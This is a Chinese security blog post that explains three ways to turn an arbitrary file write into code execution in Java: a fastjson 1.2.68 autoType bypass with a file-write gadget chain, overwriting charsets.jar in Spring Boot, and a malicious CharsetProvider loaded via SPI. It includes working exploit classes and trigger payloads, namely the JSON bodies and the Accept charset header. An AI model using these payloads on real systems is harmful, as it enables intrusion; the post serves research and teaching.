java写文件getshell

如果能任意文件读写,除了写jsp、crontab,如何getshell

0x01 fastjson 1.2.68 绕过autoType

看一下原理:
使用期望类expectClass

如:

public class testfj1268 extends Exception {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    public String getAAA() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }
}

触发

{"@type":"java.lang.Exception","@type": "test.testfj1268","domain": "calc"}

首先遇到第一个@type,在DefaultJSONParser#parseObject中进行checkAutoType

分别过一遍黑白名单

然后从mapping缓存中查找类



缓存中有,则直接获取

然后第一次checkAutoType的返回clazz就是java.lang.Exception,接着根据clazz获取反序列化器,这里由于是异常类,所以得到的反序列化器是ThrowableDeserializer,接着进行deserialize

在ThrowableDeserializer中取出第二个@type,并进行checkAutoType,注意这里的第二个参数为Throwable.class,即为期望类

这里expectClass不为空,也不在

expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class

中,expectClassFlag=true

然后就是正常的遍历白黑名单,然后由于expectClassFlag=true,就先从默认的ClassLoader加载类

加载失败,mapping也没有,则先从AppCLassLoader去加载target目录下的class资源文件

然后由于expectClassFlag=true,第二次尝试loadClass

跟进发现这里同样用了AppCLassLoader,前面已经加载过资源了,所以这里loadClass成功,返回testfj类


接着过一遍ban掉的三个类

并且期望类不为null,切testfj类继承自异常类,直接加到缓存并返回,使得即使不开启autoType也能绕过

实例化

调用setter

调用getter

最终弹窗

总结:expectClass不为空且在类继承expectClass时,提前autoType的判断直接返回

同理,由于mapping中存在java.lang.AutoCloseable,所以异常类也可替换成java.lang.AutoCloseable

浅蓝师傅的gadgets

{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "f:/test/pwn.txt",
        "tempPath": "f:/test/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "YjF1M3I=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

https://b1ue.cn/archives/364.html

https://blog.0kami.cn/2020/04/13/java/talk-about-fastjson-deserialization/

https://www.anquanke.com/post/id/232774#h2-27

所以只要写一个继承了Exception、AutoCloseable等的class然后触发fastjson即可

0x02 springboot 覆盖系统jar文件

现在生产环境部署 spring boot 项目一般都是将其打包成一个 FatJar,即把所有依赖的第三方 jar 也打包进自身的 app.jar 中,最后以 java -jar app.jar 形式来运行整个项目。运行时项目的 classpath 包括 app.jar 中的 BOOT-INF/classes 目录和 BOOT-INF/lib 目录下的所有 jar,因此无法在其运行的时候往 classpath 中增加文件。并且现阶段 spring boot 项目多以 RESTful API 接口形式向外提供服务,很少会动态解析 jsp 和其他外部模版文件,直接 webshell 文件的情况一般不会出现。

=> 可以通过覆盖系统jar文件,然后触发

java在启动中加上参数

-XX:+TraceClassLoading
root@kali:/home# java -XX:+TraceClassLoading -jar app.jar
[Opened /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.Object from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.io.Serializable from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.Comparable from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.CharSequence from /home/jdk8u202/jre/lib/rt.jar]
[Loaded java.lang.String from /home/jdk8u202/jre/lib/rt.jar]
...

可以看到首先java打开了jre/lib/rt.jar(该文件主要包含JAVA的一些核心运行环境)然后加载类

如果有一个一开始没有被open过的jar,后续生成恶意jar并覆盖,再通过手动调用便可RCE(因为open过后有缓存,即使覆盖后也必须重启才能生效)

landgrey师傅找的是jre/lib/charsets.jar

org.springframework.web.accept.HeaderContentNegotiationStrategy有一个处理mimetype的函数parseMimeTypeInternal,如果传入

Accept: text/html;charset=gbk

便会对charset进行解析,最终加载字符集

Charset.forName("gbk")

调用栈:

这样就会去加载jre/lib/charsets.jar文件

现在先生成恶意的charsets.jar,先看一下普通的

这里ExtendCharsets中定义了所有的字符对应的class,所以这里可以令所有的字符都指向一个恶意的class即可,参考:

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks/tree/main/charsets

现在启动一个springboot试一下,这里得用linux...windows可能是因为中文啥的原因会自动加载charsets.jar

确认linux没有加载charsets.jar

替换${JAVA_HOME}/jre/lib/charsets.jar,然后Accept头加上charset即可触发

GET / HTTP/1.1
Accept: text/html;charset=gbk
...

或是fastjson触发

{
    "x":{
        "@type":"java.nio.charset.Charset",
        "val":"GBK"
    }
}

不过如果第一次open charsets.jar文件后没有利用成功,就不能再试第二次了..

https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks

0x03 springboot spi调用恶意provider

关于java spi:
https://www.cnblogs.com/jy107600/p/11464985.html
在Charset.forName后会一路调用到Charset#lookup2
在这里插入图片描述

其中有三个对charsetName的操作函数
第一个和第二个都已经指定了provider
在这里插入图片描述

而第三个

private static Charset lookupViaProviders(final String charsetName) {
        ...

        if (gate.get() != null)
            // Avoid recursive provider lookups
            return null;
        try {
            gate.set(gate);

            return AccessController.doPrivileged(
                new PrivilegedAction<Charset>() {
                    public Charset run() {
                        for (Iterator<CharsetProvider> i = providers();
                             i.hasNext();) {
                            CharsetProvider cp = i.next();
                            Charset cs = cp.charsetForName(charsetName);
                            if (cs != null)
                                return cs;
                        }
                        return null;
                    }
                });
          ...

迭代providers(),跟进看一下,发现使用了serviceLoader加载了所有实现了CharsetProvider的类
在这里插入图片描述

然后回到lookupViaProviders进行调用

cp.charsetForName(charsetName)

那么就可以通过SPI机制,在META-INF下写入java.nio.charset.spi.CharsetProvider文件,从而实现加载恶意类

首先生成恶意类Evil写入jre/classes/目录下(需要继承CharsetProvider)

import java.io.IOException;
import java.nio.charset.Charset;
import java.util.HashSet;
import java.util.Iterator;

public class Evil extends java.nio.charset.spi.CharsetProvider {

    @Override
    public Iterator<Charset> charsets() {
        return new HashSet<Charset>().iterator();
    }

    @Override
    public Charset charsetForName(String charsetName) {
        if (charsetName.startsWith("Evil")) {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        return Charset.forName("UTF-8");
    }
}

然后在META-INF下创建services目录和java.nio.charset.spi.CharsetProvider文件(内容为恶意类Evil)

├── Evil.class
└── META-INF
    └── services
        └── java.nio.charset.spi.CharsetProvider

然后使用Accept头或fastjson触发

Accept: text/html;charset=Evil
{"@type":"java.nio.charset.Charset","val":"Evil"}

在这里插入图片描述

这种方法不需要覆盖系统jar,但是我默认jre下没有classes目录和META-INF目录,不过不失为一种方法

https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇